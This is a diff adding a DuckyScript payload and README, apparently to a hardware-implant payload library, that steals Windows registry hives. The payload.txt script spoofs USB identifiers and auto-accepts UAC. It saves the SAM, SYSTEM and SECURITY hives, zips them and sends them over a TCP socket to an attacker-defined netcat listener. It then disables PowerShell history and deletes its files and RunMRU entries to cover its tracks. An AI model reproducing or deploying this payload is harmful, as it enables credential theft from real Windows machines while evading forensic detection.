New Payload - Windows Registry Hive Exfil

payloads/library/exfiltration/Windows-Registry-Hive-Exfil/README.md

@@ -0,0 +1,43 @@
+# windows-registry-hive-exfil
+
+`windows-registry-hive-exfil` is an O.MG Plug / DuckyScript payload that automatically dumps Windows Registry hives (`SYSTEM`, `SAM`, and `SECURITY`) and exfiltrates them over the network to a remote netcat listener.
+
+## Features
+
+* Randomizes USB device descriptors (`VID`, `PID`, serials) on boot
+* Spawns an elevated PowerShell prompt and auto-accepts UAC
+* Extracts `SAM`, `SYSTEM`, and `SECURITY` registry hives using native `reg.exe`
+* Compresses and exfiltrates hive data over a raw .NET TCP socket (`System.Net.Sockets.TcpClient`)
+* Disables PowerShell history logging (`Set-PSReadLineOption -HistorySaveStyle SaveNothing`)
+* Clears Explorer `RunMRU` registry keys and deletes temporary `.save` and `.zip` files post-transfer
+
+## Prerequisites
+
+* Windows 10/11 or Windows Server (requires Administrative privileges)
+* O.MG Plug, USB Rubber Ducky, or compatible DuckyScript hardware
+* Listener machine reachable on target local network running `netcat` or `ncat`
+
+## Installation
+```bash
+git clone https://github.com/kipair/windows-registry-hive-exfil.git
+cd windows-registry-hive-exfil
+```
+
+## Usage
+
+Start your listener on the receiver host to capture incoming hive data:
+
+```bash
+# Example netcat listener setup
+nc -lvnp 4444 > registry_hives.tar.gz
+```
+
+Configure target parameters in `payload.txt`:
+
+```
+REM Target Receiver IP and Port
+DEFINE $ATTACKER_IP 192.168.1.50
+DEFINE $ATTACKER_PORT 4444
+```
+
+Upload your payload script to the O.MG device GUI and execute the script.

payloads/library/exfiltration/Windows-Registry-Hive-Exfil/payload.txt

@@ -0,0 +1,38 @@
+REM Title: Windows Registry Hive Exfiltrator
+REM Author: kipair
+REM Description: Extracts Windows registry hives (SAM, SYSTEM, SECURITY) and exfiltrates them via a netcat listener.
+
+REM Change IP and PORT variables according to the netcat listener.
+DEFINE #IP 0.0.0.0
+DEFINE #PORT 0000
+
+REM Randomizes device identifiers.
+VID_RANDOM
+PID_RANDOM
+MAN_RANDOM
+PRO_RANDOM
+SER_RANDOM
+
+CAPSLOCK_DISABLE
+GUI r
+DELAY 1000
+STRING powershell Start-Process powershell -Verb runAs
+ENTER
+DELAY 2000
+ALT Y
+DELAY 2000
+STRINGLN_BLOCK
+Set-PSReadLineOption -HistorySaveStyle SaveNothing
+$C = $env:SystemDrive
+reg.exe save hklm\sam "$C\sam.save"
+reg.exe save hklm\system "$C\system.save"
+reg.exe save hklm\security "$C\security.save"
+Compress-Archive -Path "$C\sam.save", "$C\system.save", "$C\security.save" -DestinationPath "$C\loot.zip"
+$fileStream=[IO.File]::OpenRead("$C\loot.zip");$tcpClient=New-Object Net.Sockets.TcpClient("#IP",#PORT);$networkStream=$tcpClient.GetStream();$buffer=New-Object byte[] 8192;while(($bytesRead=$fileStream.Read($buffer,0,$buffer.Length))){$networkStream.Write($buffer,0,$bytesRead)};$fileStream.Close();$networkStream.Close();$tcpClient.Close()
+Remove-Item -Path "$C\loot.zip"
+Remove-Item -Path "$C\sam.save"
+Remove-Item -Path "$C\system.save"
+Remove-Item -Path "$C\security.save"
+Remove-Item "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
+exit
+END_STRINGLN